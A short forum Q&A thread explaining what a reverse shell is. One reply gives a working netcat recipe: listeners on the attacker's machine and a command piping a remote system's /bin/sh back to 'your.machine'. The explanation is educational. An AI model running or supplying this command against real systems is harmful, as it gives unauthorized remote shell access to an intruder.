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What is a reverse shell?

• DaCapoo 13y ago
  Typically, when you open a secure shell (SSH) connection your client is connecting to a SSH server running on the target machine. A reverse shell occurs when the server initiates a connection with a client that is listening - for example, you have access to a shell to run commands on a target computer (usually through a command injection vulnerability in a website). This means you don't have a full shell - just the ability to run arbitrary commands. You open a reverse shell which instructs your target computer which is running a SSH server to connect to your client, which allows you to now have a full featured shell at your hands.
• effdee 13y ago
  Normally you connect to a remote system and run a shell there (e.g. via SSH). This usually requires some sort of authentication. If you cannot authenticate yourself (like, because you're an evil hacker) but found a way to run a code on the remote system you can do the reverse: have the remote system connect back to you. The "classic way" to do this is to run two instances of netcat in listening mode on your machine: terminal1> nc -l 8001 terminal2> nc -l 8002 Then you run something like this on the remote system: nc your.machine 8001 | /bin/sh | nc your.machine 8002 Now you can enter commands in terminal1 and see their output in terminal2.